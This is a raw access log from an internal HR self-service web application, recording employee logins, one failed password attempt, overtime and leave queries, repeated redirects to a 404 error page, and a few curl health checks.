192.168.182.95 - - [04/Sep/2025:16:16:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.12.82 - - [04/Sep/2025:16:18:43 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:44 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.12.82 - - [04/Sep/2025:16:18:44 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:16:18:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [04/Sep/2025:16:18:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.82 - - [04/Sep/2025:16:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50320 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50320
192.168.12.82 - - [04/Sep/2025:16:19:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53649
192.168.12.82 - - [04/Sep/2025:16:19:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53649 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:19:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 60922 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:19:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 60922
192.168.12.82 - - [04/Sep/2025:16:19:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48843
192.168.12.82 - - [04/Sep/2025:16:19:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48843 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:16:19:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.12.82 - - [04/Sep/2025:16:19:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:16:21:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:21:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:23:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:23:04 +0800] "GET / HTTP/1.1" 200 439
192.168.11.107 - - [04/Sep/2025:16:28:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.107 - - [04/Sep/2025:16:28:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.107 - - [04/Sep/2025:16:28:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:29 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701
192.168.11.107 - - [04/Sep/2025:16:28:29 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:29 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:29 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989
192.168.11.107 - - [04/Sep/2025:16:28:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.107 - - [04/Sep/2025:16:28:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.107 - - [04/Sep/2025:16:28:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.107 - - [04/Sep/2025:16:28:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661
192.168.11.107 - - [04/Sep/2025:16:28:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661
192.168.11.107 - - [04/Sep/2025:16:28:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168176 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:28:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168176
192.168.11.107 - - [04/Sep/2025:16:29:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:29:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661
192.168.11.107 - - [04/Sep/2025:16:29:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168176 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
